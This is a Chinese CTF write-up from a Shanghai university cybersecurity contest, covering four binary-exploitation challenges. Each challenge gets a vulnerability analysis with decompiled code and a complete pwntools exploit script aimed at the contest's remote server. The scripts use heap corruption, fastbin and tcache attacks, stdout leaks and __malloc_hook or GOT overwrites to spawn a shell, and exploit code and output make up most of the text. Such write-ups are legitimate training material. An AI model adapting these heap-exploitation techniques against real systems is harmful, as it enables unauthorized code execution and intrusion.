第六届上海大学生网络安全大赛
这次比赛干了一天,早餐只吃了点鸡蛋, 午饭没吃, 干完pwn后才去吃的饭,总之今天表现的还不错,pwn给over了,cpu-emulator还拿了三血。。。
比赛开始了半个小时后,我就直接看pwn去了,发现签到题还没做,与我组队的师傅们好像刚好去打线下赛去了,我的队伍第9,而咱们实验室的另一只队伍与第一并其,这次比赛只筛选一只队伍,我们队就去不了了,总之下次好好加油吧,冲进线下!!!
最终排名如下:
pwn1 [cpu_emulator]
这个题拿了三血,刚开始一直没找到漏洞点,不断的分析才知道有个功能堆偏移地址写入。
简单概述
程序pie没开,是一个指令模拟器,实现某些运算操作。输入时先开辟内存储存指令数据,但是没有堆相关的漏洞。
程序运行规则:
输入指令后,进入run函数进行运行,每次取出 dword的数据进行解析指令,以下解释是根据调试出来的,这个ida反编译有误,然而在执行sub_4009A8函数时是取出操作指令数据,也就是26~32位,ida反编译时没有相关的变量来储存这个操作指令,通过调试才发现的。然后就是取出3个被操作数了
result = (unsigned int)nbytes >> 2;
if ( src_pos >= (unsigned int)result )
return result;
now_src = get_src();
if ( (unsigned int)sub_4009A8(now_src) ) // 获取操作指令, 26 ~ 32
{
v6 = sub_400971(now_src, 5, 21); // 21位后5bit
v7 = sub_400971(now_src, 5, 16); // 16位后5bit
v8 = sub_400971(now_src, 16, 0); // 0位后16bit
result = (unsigned __int64)off_401404;
switch ( (unsigned int)&savedregs )
{
case 1u:
return result;
case 4u:
result = dword_6020E0[v7];
if ( dword_6020E0[v6] == (_DWORD)result )
{
v4 = 4 * v8 + 4;
result = (unsigned int)(v4 + src_pos);
src_pos += v4;
}
return result;
case 8u:
dword_6020E0[v7] = dword_6020E0[v6] + v8;
continue;
case 9u:
dword_6020E0[v7] = dword_6020E0[v6] - v8;
break;
case 0xAu:
dword_6020E0[v7] = v8 > (signed int)dword_6020E0[v6];
break;
case 0xCu:
dword_6020E0[v7] = v8 & dword_6020E0[v6];
break;
case 0xDu:
dword_6020E0[v7] = v8 | dword_6020E0[v6];
break;
case 0xEu:
dword_6020E0[v7] = v8 ^ dword_6020E0[v6];
break;
case 0xFu:
dword_6020E0[v7] = v8 << 16;
break;
case 0x23u:
dword_6020E0[v7] = *(unsigned __int8 *)(qword_602168 + (signed int)(dword_6020E0[v6] + v8));
break;
case 0x2Bu:
*(_BYTE *)(qword_602168 + (signed int)(dword_6020E0[v6] + v8)) = dword_6020E0[v7];// vul
break;
default:
continue;
}
漏洞点在操作指令为0x2b的地方,而qword_602168储存的是堆buf的地址,从这里可以看到,通过v6与v8还有v7的配合可以实现向堆中写入单个字节的数据。
思路
通过以上漏洞修改, heap中tcache struct 0x68位置的地址为atoi函数的got地址,更具atoi与system函数的偏移爆破system函数地址,在调用atoi函数时传入’/bin/sh\x00’即可。
实现步骤:
先将dword_6020E0[0]来储存qword_602168中堆地址到tcache struct 0x68位置的偏移,采用9指令实现负数偏移,8指令来实现我们目标地址的分开但字节储存,也就是atoi函数的got地址,2b指令来实现单字节写入控制好被操作数即可一次写入。
exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
elf_path = 'pwn'
MODIFY_LD = 0
arch = '64'
libc_v = '2.27'
ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'
# change ld path
if(MODIFY_LD):
os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path
os.system(change_ld_cmd)
li('modify ld ok!')
exit(0)
# remote server ip and port
server_ip = "123.56.52.128"
server_port = 18236
# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def ad(sz, d):
sla('>>', '1')
sla(':', str(sz))
sa(':', d)
def run():
sla('>>', '2')
def q():
sla('>>', '3')
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
c = '''
mov rax, 1
syscall
'''
p = asm(c, arch = 'amd64')
p = p32(0xafffffff)
# dword_6020E0[v7] = dword_6020E0[v6] + v8;
# o * * *
#p = p32(0b00100000111110001000100010001000)
# qword_602168 -> heap chunk 2
# size 0x10011
libc = ELF('./libc.so.6')
li('libc_atoi : ' + hex(libc.sym['atoi']))
li('libc_system: ' + hex(libc.sym['system']))
'''
0x6020e0[0] = offset of heap
0x6020e0[1] = our target address
0x6020e0[2] = 0
'''
p = 'A' *0x60
ad(0x60, p)
# offset - 0x1e8
# 0x1009070: 0x0000000000000000 0x0000000001019270
# o * * *
p = p32(0b00100100000000000000000111101000) # 9 target offset
# set out addrs pointer to got
# atoi: 0x602058
# o * * *
p +=p32(0b00100000001000010000000001011000) # 9 0x58
p +=p32(0b00100000010000100000000000100000) # 9 0x20
p +=p32(0b00100000011000110000000001100000) # 9 0x60
# 16 bit point to our value
# o * * *
p +=p32(0b10101100000000010000000000000000) # 2b
p +=p32(0b10101100000000100000000000000001) # 2b
p +=p32(0b10101100000000110000000000000010) # 2b
p +=p32(0b10101100000001000000000000000011) # set as null
ad(len(p), p)
run()
# modify atoi as system
# system offset: 0x4f550
ad(0x60, '\x50\xf5')
db()
sl('/bin/sh\x00')
def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
for _ in range(256):
try:
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
else:
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )
else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
except:
continue
pwn2 [lgtwo]
概述.
一个典型的菜单堆题。这个题有点坑,pie没开,本来采用unlink打入堆指针数组的,发现got表不能写入。。。远程没法打unlink,操蛋。
程序没给libc,需要自己使用相关技巧来实现获取远程libc版本。
采用手法,故意unlink失败。
def exploit():
li('exploit...')
ad(0x458, 'A') # 0
ad(0x68, 'A') # 1
ad(0x68, 'A') # 2
ad(0x458, 'A') # 3
rm(0)
md(2, b'A' * 0x60 + p64(0x70 + 0x70 + 0x470) + b'\x70')
rm(3)
输出如下
[DEBUG] Received 0x1b2 bytes:
b"*** Error in `./pwn': double free or corruption (!prev): 0x00000000017a0550 ***\n"
b'======= Backtrace: =========\n'
b'/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f7eed9487f5]\n'
b'/lib/x86_64-linux-gnu/libc.so.6(+0x8038a)[0x7f7eed95138a]\n'
b'/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f7eed95558c]\n'
b'./pwn[0x400a8c]\n'
b'./pwn[0x400cfa]\n'
b'/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f7eed8f1840]\n'
b'./pwn[0x400739]\n'
b'======= Memory map: ========\n'
*** Error in `./pwn': double free or corruption (!prev): 0x00000000017a0550 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f7eed9487f5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8038a)[0x7f7eed95138a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f7eed95558c]
./pwn[0x400a8c]
./pwn[0x400cfa]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f7eed8f1840]
./pwn[0x400739]
======= Memory map: ========
[*] Got EOF while reading in interactive
可以得到__libc_start_main
的地址了,在线libc searcher查询,即可获得libc版本。
查找到libc为: libc6_2.23-0ubuntu11.2_amd64
vul
在添加函数中,存在off by one漏洞
unsigned __int64 add()
{
bool v0; // al
unsigned int v1; // eax
int v3; // [rsp+10h] [rbp-30h]
int i; // [rsp+14h] [rbp-2Ch]
int v5; // [rsp+18h] [rbp-28h]
int v6; // [rsp+1Ch] [rbp-24h]
int v7; // [rsp+20h] [rbp-20h]
int v8; // [rsp+24h] [rbp-1Ch]
int v9; // [rsp+28h] [rbp-18h]
int v10; // [rsp+2Ch] [rbp-14h]
int v11; // [rsp+30h] [rbp-10h]
int v12; // [rsp+34h] [rbp-Ch]
unsigned __int64 v13; // [rsp+38h] [rbp-8h]
v13 = __readfsqword(0x28u);
for ( i = 0; i <= 15 && p_addr[i]; ++i )
;
if ( i == 16 )
{
puts("full!");
}
else
{
puts("size?");
_isoc99_scanf((__int64)"%d", (__int64)&v3);
if ( v3 >= 0 && v3 <= 4096 )
{
v5 = 100;
v6 = 200;
p_addr[i] = malloc(v3);
p_size[i] = v3;
puts("content?");
read(0, &unk_6021C0, 0x20uLL);
v7 = 1;
v8 = v5 + v6;
v9 = v6;
if ( v5 + v6 <= v5 )
v0 = v6 != 0;
else
v0 = v5 != 0;
if ( v0 )
{
v10 = v5;
v11 = v6;
v12 = v5;
}
else
{
v6 = 1;
}
v6 = v5;
v1 = p_size[i];
p_size[i] = v1 + 1; // vul
sub_400806(v1);
}
else
{
puts("invalid size");
}
}
return __readfsqword(0x28u) ^ v13;
}
思路
先释放0x71大小的chunk构造fastbin attack 链,采用house of einherjar实现堆重叠,将main_arena地址挤到0x71 fastbin fd地方,parital write修改fastbin fd为_IO_2_1_stderr_
+ 157处,开辟0x71的内存到_IO_2_1_stdout_
修改此结构体泄漏_IO_2_1_stderr_
+192处的地址,计算得到libc基址。
再次使用fastbin attack 打入__malloc_hook
- 0x23处,修改__realloc_hook
为one_gadget,__malloc_hook
为realloc,realloc来进行调整execve第二个参数。
exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
elf_path = 'pwn'
MODIFY_LD = 0
arch = '64'
libc_v = '2.23'
ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'
# change ld path
if(MODIFY_LD):
os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path
os.system(change_ld_cmd)
li('modify ld ok!')
exit(0)
# remote server ip and port
server_ip = "123.56.52.128"
server_port = 45830
# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def ad(sz, d):
sla('>>', '1')
sla('?', str(sz))
sa('?', d)
def rm(i):
sla('>>', '2')
sla('?', str(i))
def dp(i):
sla('>>', '3')
sla('?', str(i))
def md(i, d):
sla('>>', '4')
sla('?', str(i))
sa('?', d)
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
ad(0x80, 'A') # 0
ad(0x68, 'A') # 1
ad(0x68, 'A') # 2
ad(0x88, 'A') # 3
ad(0x68, 'A') # 4
lib = ELF('./libc.so.6')
li('lib stdout + 157:' + hex(lib.sym['_IO_2_1_stderr_'] + 157))
rm(0)
p = b'A' * 0x60
p += p64(0x70 + 0x70 + 0x90)
p += b'\x90'
md(2, p)
rm(1)
rm(3) # house of einharjar
ad(0x80, 'A') # 0
rm(0)
ad(0xa0, 'A') #0
p = b'A' * 0x80
p += p64(0) + p64(0x71)
p += b'\xdd\x55'
md(0, p)
ad(0x68, 'B') # 1
ad(0x68, 'B') # 3
p = b'\x00' * 0x33 + p64(0xfbad3c80) + 3 * p64(0) + p8(0)
md(3, p)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['_IO_2_1_stderr_'] - 192
li('leak: ' + hex(leak))
li('libc_base: ' + hex(libc_base))
rm(1)
p = b'A' * 0x80
p += p64(0) + p64(0x71)
p += p64(libc_base + libc.sym['__malloc_hook'] - 0x23)
md(0, p)
ad(0x68, 'A') # 1
ad(0x68, 'A') # 5
og = libc_base + 0x4527a
#og = libc_base + 0x3f42a
realloc = libc_base + libc.sym['realloc']
p = b'A' * (0x13 - 8)
p += p64(og)
p += p64(realloc + 4)
md(5, p)
sl('1')
sl('10')
def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
for _ in range(16):
try:
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
else:
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )
else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
except:
continue
pwn3 [EASY_ABNORMAL]
简要概述
这个题直接就是湘湖杯的原题,添加了个prctl函数,我还以为是沙箱,还得我一直构造rop,一直在构造orw,’./flag’字符串的传入一直困扰我,后面先试试one_gadget是否打通,想不到还真通了。。。
如何获取libc版本,和之前一样, 该提有个uaf漏洞,直接构造double free,泄漏__libc_start_main
从而获得libc版本。
思路
字符串漏洞泄漏libc,在堆中构造one_gadget的rop,一下出现堆栈溢出,能够修改rbp寄存器的值,若覆盖改值,在c++抛出异常后就可实现堆栈迁移至堆中。
unsigned __int64 gift()
{
_QWORD *v0; // rax
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("INPUT:");
prctl(22, 2LL, &unk_202070);
if ( (signed int)read(0, &buf, 0x28uLL) > 16 )
{
v0 = (_QWORD *)_cxa_allocate_exception(8LL, &buf);
*v0 = "YOU ARE TOO YOUNG!";
_cxa_throw(v0, &`typeinfo for'char const*, 0LL);
}
return __readfsqword(0x28u) ^ v3;
}
exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.arch='amd64'
context.terminal = ['tmux', 'splitw', '-h']
elf_path = 'pwn'
libc_path = './libc.so.6'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
# remote server ip and port
server_ip = "123.56.52.128"
server_port = 10012
# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def sn():
sla(':', '1')
def ad(d):
sla(':', '2')
sla(':', d)
def rm(i):
sla(':', '3')
sla(':', str(i))
def dp():
sla(':', '4')
def gift(d):
sla(':', '23333')
sa(':', d)
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
p = '%11$p'
sa(':', p)
sn()
ru('0x')
leak = int(r(12), 16)
#(__libc_start_main+240)
libc_base = leak - libc.sym['__libc_start_main'] - 240
li('leak: ' + hex(leak))
li('libc_base: ' + hex(libc_base))
og = libc_base + 0x4527a
libc.address= libc_base
if(LOCAL):
pop_rdi = libc_base + 0x20e22
pop_rsi = libc_base + 0x20218
pop_rdx = libc_base + 0x01b92
pop6 = libc_base + 0x11633f
else:
pop_rdi = libc_base + 0x21112
pop_rsi = libc_base + 0x202f8
pop_rdx = libc_base + 0x01b92
p = p64(0) * 3
rop = flat([
og
])
p += rop
ad(p)
ad('./flag\x00')
rm(0)
rm(1)
dp()
ru('idx 2:')
leak = u64(ru('\n').ljust(8, b'\x00'))
heap = leak
li('leak: ' + hex(leak))
li('heap: ' + hex(heap))
p = b'A' * 0x20
p += p64(heap + 0x20)
p += b'A' * 0x9
db()
gift(p)
def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_PRELOAD" : libc_path} )
else:
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
pwn4 [maj0rone]
概述
一个简单的堆体,没给libc,自己构造double free泄漏libc,libc版本还是与之前一样2.23的,该题添加了一点花指令,但不影响分析。
vul
在删除功能中存在指针没清零,造成uaf漏洞
sub_400846((unsigned int)dword_603010, (unsigned int)(dword_60303C + 1), v1);
}
}
else
{
sub_400846((unsigned int)dword_603010, (unsigned int)(dword_60303C + 1), (unsigned int)dword_603040);
}
free(p_addr[v7]); // vullllll-----------
if ( dword_60303C / dword_603010 > 1 )
{
if ( dword_60303C % dword_603010 )
{
if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )
思路
程序没有开启pie,但got没法修改,没毛用,也没打印函数,需要fastbin attack打入_IO_2_1_stdout_
泄漏libc,再次fastbin attack打入__malloc_hook
- 0x23处打one_gadget,修改__realloc_hook
为one_gadget,修改__malloc_hook
为realloc,调整realloc偏移来调整execve第二个参数。
exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
elf_path = 'pwn'
MODIFY_LD = 0
arch = '64'
libc_v = '2.23'
ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'
# change ld path
if(MODIFY_LD):
os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path
os.system(change_ld_cmd)
li('modify ld ok!')
exit(0)
# remote server ip and port
server_ip = "123.56.52.128"
server_port = 18523
# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db ():
if(LOCAL):
gdb.attach(io)
def ad(sz, d):
sla('>>', '1')
sla('\n', '80')
sla('?', str(sz))
sla('?', str(d))
def rm(i):
sla('>>', '2')
sla('?', str(i))
def md(i, d):
sla('>>', '4')
sla('?', str(i))
sa('?', d)
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
ad(0xd0, 'A') # 0
ad(0x68, 'A') # 1
rm(0)
ad(0x68, 'A') # 2
rm(1)
rm(2)
md(2, '\x70')
ad(0x30, 'A') # 3
md(3, '\xdd\x55')
# for alignment
ad(0x68, 'A') # 4
p = b'A' * 0x60
p += p64(0) + p64(0x71)
md(0, p)
ad(0x68, 'A') # 5
ad(0x68, 'B') # 6
p = b'\x00' * 0x33 + p64(0xfbad3c80) + 3 * p64(0) + p8(0)
md(6, p)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['_IO_2_1_stderr_'] - 192
li('leak: ' + hex(leak))
li('libc_base: ' + hex(libc_base))
rm(5)
md(5, p64(libc_base + libc.sym['__malloc_hook'] - 0x23))
ad(0x68, 'A') # 7
ad(0x68, 'A') # 8
og = libc_base + 0x4527a
#og = libc_base + 0x3f42a
realloc = libc_base + libc.sym['realloc']
p = b'A' * (0x13 - 8)
p += p64(og)
p += p64(realloc + 4)
md(8, p)
#db()
# get shell
sla('>>', '1')
sla('\n', '80')
sla('?', str(10))
def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
for _ in range(16):
try:
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
else:
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )
else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
except:
continue